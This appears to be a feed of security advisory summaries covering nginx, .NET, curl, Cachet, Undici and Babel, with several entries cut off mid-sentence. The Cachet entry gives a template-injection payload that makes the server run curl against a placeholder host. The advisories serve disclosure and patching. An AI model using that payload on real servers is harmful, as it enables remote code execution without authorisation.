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Red Hat Security Advisory 2023-5714-01 - nginx is a web and proxy server supporting HTTP and other protocols, with a focus on high concurrency, performance, and low memory usage. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2023-5713-01 - nginx is a web and proxy server supporting HTTP and other protocols, with a focus on high concurrency, performance, and low memory usage. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2023-5711-01 - nginx is a web and proxy server supporting HTTP and other protocols, with a focus on high concurrency, performance, and low memory usage. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2023-5709-01 - .NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation. New versions of .NET that address a security vulnerability are now available. The updated versions are .NET 7.0 to SDK 7.0.112 and Runtime 7.0.12. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2023-5708-01 - .NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation. New versions of .NET that address a security vulnerability are now available. The updated versions are .NET 6.0 to SDK 6.0.123 and Runtime 6.0.23. Issues addressed include a denial of service vulnerability.
Red Hat Security Advisory 2023-5700-01 - The curl packages provide the libcurl library and the curl utility for downloading files from servers using various protocols, including HTTP, FTP, and LDAP. Issues addressed include a buffer overflow vulnerability.
2023 Mount Carmel School version 6.4.1 suffers from a cross site scripting vulnerability.
### Summary A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution. This vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version 2.4. ### PoC 1. Log in as a default user (non-admin); 2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other ...
### Impact Undici clears Authorization headers on cross-origin redirects, but does not clear `Cookie` headers. By design, `cookie` headers are [forbidden request headers](https://fetch.spec.whatwg.org/#forbidden-request-header), disallowing them to be set in `RequestInit.headers` in browser environments. Since Undici handles headers more liberally than the specification, there was a disconnect from the assumptions the spec made, and Undici's implementation of fetch. As such this may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site. ### Patches This was patched in [e041de359221ebeae04c469e8aff4145764e6d76](https://github.com/nodejs/undici/commit/e041de359221ebeae04c469e8aff4145764e6d76), which is included in version 5.26.2.
### Impact Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods. Known affected plugins are: - `@babel/plugin-transform-runtime` - `@babel/preset-env` when using its [`useBuiltIns`](https://babeljs.io/docs/babel-preset-env#usebuiltins) option - Any "polyfill provider" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator` No other plugins under the `@babel/` namespace are impacted, but third-party plugins might be. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/[email protected]`. Babel 6 does not receive security fixes anymore (see [Babel's security policy](https://github.com/babel/bab...